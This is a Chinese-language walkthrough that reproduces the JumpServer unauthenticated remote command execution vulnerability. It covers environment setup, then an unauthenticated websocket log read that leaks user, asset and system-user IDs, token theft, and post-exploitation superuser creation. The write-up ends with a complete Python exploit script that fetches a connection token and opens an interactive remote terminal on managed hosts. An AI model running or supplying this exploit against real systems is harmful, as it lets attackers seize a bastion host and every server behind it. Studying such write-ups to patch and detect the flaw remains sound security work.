0x01 简介
0x02 漏洞原理
远程命令执行漏洞:由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,再通过敏感信息获取一个20s的token,最后利用这个token去执行相关API操作控制其中所有机器或者执行任意命令。
0x03 影响版本:
- JumpServer < v2.6.2
- JumpServer < v2.5.4
- JumpServer < v2.4.5
- JumpServer = v1.5.9
0x04 复现环境搭建注意坑点
环境搭建推荐使用一键安装,因为环境比较麻烦,而且还得是旧版的,这里是v2.6.1
安装脚本V2.6.1 https://www.o2oxy.cn/wp-content/uploads/2021/01/quick\_start.zip


http://10.211.55.22:8080/core/auth/login/
登陆之后还不能直接用,还有配置一下,分配一下服务器才能使用。


1、创建一个系统用户
- 系统用户是 JumpServer 跳转登录资产时使用的用户

2、创建管理用户
管理用户是资产(被控服务器)上的 root,或拥有 NOPASSWD: ALL sudo 权限的用户
我的被管理主机就是 root root

3、创建资产
就是要管理的终端

4、资产授权
只有给资产授权,控制台才有机器,才能管理

5、web终端连接
访问web终端:
1
| http://10.211.55.22:8080/luna/
|

0x05 漏洞复现
1、请求未授权 socketweb
1
| ws://10.211.55.22:8080/ws/ops/tasks/log/
|
利用chrome插件https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related
请求log文件
1
| {"task":"/opt/jumpserver/logs/gunicorn"}
|

2、获取system_user user_id asset_id 这三个重要参数
自己搜索一下这三个id

所以获取到的是
1
| asset_id=230f921b-be1c-4343-8bab-57d4410606bb&cache_policy=1&system_user_id=03705092-18e7-4b65-a12a-7991f9c50740&user_id=0cae929c-5f7a-41a4-b873-bc9d28613c4c
|
3、对应填入EXP中
exp为了美观放到最后
1 2 3 4 5 6 7 8 9
| 文件最后需要修改的:
host = "http://10.211.55.22:8080"
data = { "user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c", "asset": "230f921b-be1c-4343-8bab-57d4410606bb", "system_user": "03705092-18e7-4b65-a12a-7991f9c50740", }
|
4、成功利用:

后利用:创建超管
获取到shell,我们可以直接创建超管,毕竟主机权限没什么用,登陆系统之后才有大量的主机。
命令行创建超管
1 2 3 4
| 切换到目录 cd /opt/jumpserver/apps
python manage.py createsuperuser
|

超管登陆成功

EXP
EXP 代码 仓库 https://github.com/Skactor/jumpserver\_rce
我实测,这个手动获取 asset_id system_user_id user_id 这三个可以正常触发漏洞,但是好多自动化获取多少有点问题,反正我的是没成功。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| import os
import asyncio import aioconsole
import websockets import requests import json
url = "/api/v1/authentication/connection-token/?user-only=1"
def get_celery_task_log_path(task_id): task_id = str(task_id) rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log") path = os.path.join("/opt/jumpserver/", rel_path) return path
async def send_msg(websocket, _text): if _text == "exit": print(f'you have enter "exit", goodbye') await websocket.close(reason="user exit") return False await websocket.send(_text)
async def send_loop(ws, session_id): while True: cmdline = await aioconsole.ainput() await send_msg( ws, json.dumps( {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"} ), )
async def recv_loop(ws): while True: recv_text = await ws.recv() ret = json.loads(recv_text) if ret.get("type", "TERMINAL_DATA"): await aioconsole.aprint(ret["data"], end="")
# 客户端主逻辑 async def main_logic(): print("#######start ws") async with websockets.connect(target) as client: recv_text = await client.recv() print(f"{recv_text}") session_id = json.loads(recv_text)["id"] print("get ws id:" + session_id) print("###############") print("init ws") print("###############") inittext = json.dumps( { "id": session_id, "type": "TERMINAL_INIT", "data": '{"cols":164,"rows":17}', } ) await send_msg(client, inittext) await asyncio.gather(recv_loop(client), send_loop(client, session_id))
if __name__ == "__main__": host = "http://10.211.55.22:8080" cmd = "whoami" if host[-1] == "/": host = host[:-1] print(host) data = { "user": "0cae929c-5f7a-41a4-b873-bc9d28613c4c", "asset": "230f921b-be1c-4343-8bab-57d4410606bb", "system_user": "03705092-18e7-4b65-a12a-7991f9c50740", } print("##################") print("get token url:%s" % (host + url,)) print("##################") res = requests.post(host + url, json=data) token = res.json()["token"] print("token:%s", (token,)) print("##################") target = ( "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token ) print("target ws:%s" % (target,)) asyncio.get_event_loop().run_until_complete(main_logic())
|